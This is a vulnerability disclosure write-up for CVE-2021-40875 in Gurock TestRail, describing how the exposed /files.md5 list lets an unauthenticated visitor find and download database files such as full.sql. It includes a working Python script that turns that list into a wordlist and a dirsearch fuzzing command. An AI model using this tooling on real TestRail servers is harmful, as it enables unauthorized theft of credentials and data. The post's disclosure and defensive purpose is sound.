CVE-2021-40875: Improper Access Control in Gurock TestRail versions ≤ 7.2.0.3014 results in sensitive file exposure

A threat actor can access the /files.md5 file on the client side of a Gurock TestRail application, disclosing a full list of application files and the corresponding file paths. The corresponding file paths can be tested, and in some cases, result in the disclosure hardcoded credentials, API keys, or other sensitive data.

Published on Sep 22, 2021

Reading time: 2 minutes.


Credits

John Jackson
Twitter: https://twitter.com/johnjhacking

SickCodes
Twitter: https://twitter.com/sickcodes

Identification

During research, I stumbled upon a TestRail application. While using Burp Suite to look at various requests and responses of the application, I noticed a files.md5 path:


It seemed fairly normal at first, until I saw how massive the list was:


I attempted to try some of the paths, and was forbidden from accessing a lot of them. When I found a few paths that worked, I realized that I would need a better solution to check all of the paths. The most realistic option was to build a fuzzing script.

Fuzzing

First and foremost - I know that bash in python is ugly and I’m at peace with it. I needed to whip up something quick and dirty to get the job done. Eventually, SickCodes built a nice bash script that automates this entire process, but this is what I started with:

_import os  
import sys  
import pycurl  
from io import BytesIO  
\# Grabbing the results of the files.md5 endpoint  
b_obj = BytesIO()  
crl = pycurl.Curl()  
crl.setopt(crl.URL, input("Enter the URL of the Testrail App: ")+'/files.md5')  
crl.setopt(crl.WRITEDATA, b_obj)  
crl.perform()  
crl.close()  
get_body = b_obj.getvalue()  
result = get_body.decode('utf8')  
with open('dirlist.txt', 'w') as f:  
f.write(result)  
\# Fixing the results  
os.system("awk '{print $2}' dirlist.txt > sorted.txt")  
os.system("sed 's/^/\\//' sorted.txt > derailed.txt")  
os.system("rm -r dirlist.txt && rm -r sorted.txt")_

The above code basically makes a curl request to the files.md5, and uses awk to only grab the second column of the file, and then appends a forward slash in front of each. The script then writes it to a wordlist file, with fully functional paths.

As a side note, I will say that I observed multiple applications with slightly custom files.md5 paths - which makes utilizing a custom wordlist important.

I then fuzzed the application with dirsearch:

sudo dirsearch -w derailed.txt -u 'https://foo.com' -x 300,301,302,303,304,305,400,401,402,403,404,405,406,500,501,502,503,504 > paths.txt

This produced a nice little file of paths to sort through.

Exploitation

We weren’t sure how much of an impact this would have. I brought in SickCodes to develop this further, and he built a bash script that can automate this process and downloaded the files quickly. After sorting and testing multiple applications, a pattern behavior was discovered. Most of the TestRail applications do not restrict the full.sql file paths:


The result was unauthenticated download of full.sql files (and other important database files). We observed disclosed API keys, secrets, passwords, etc across multiple applications. The root cause of the vulnerability is obviously an access control restriction, however the leading cause of even knowing that the files existed was because of the files.md5 path.

The amount of applications exposing these files is alarming, and it predominantly affects the government space and large corporations.

We have made the python and bash scripts accessible for use.

References

https://github.com/SakuraSamuraii/derailed
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40875
https://www.exploit-db.com/exploits/50320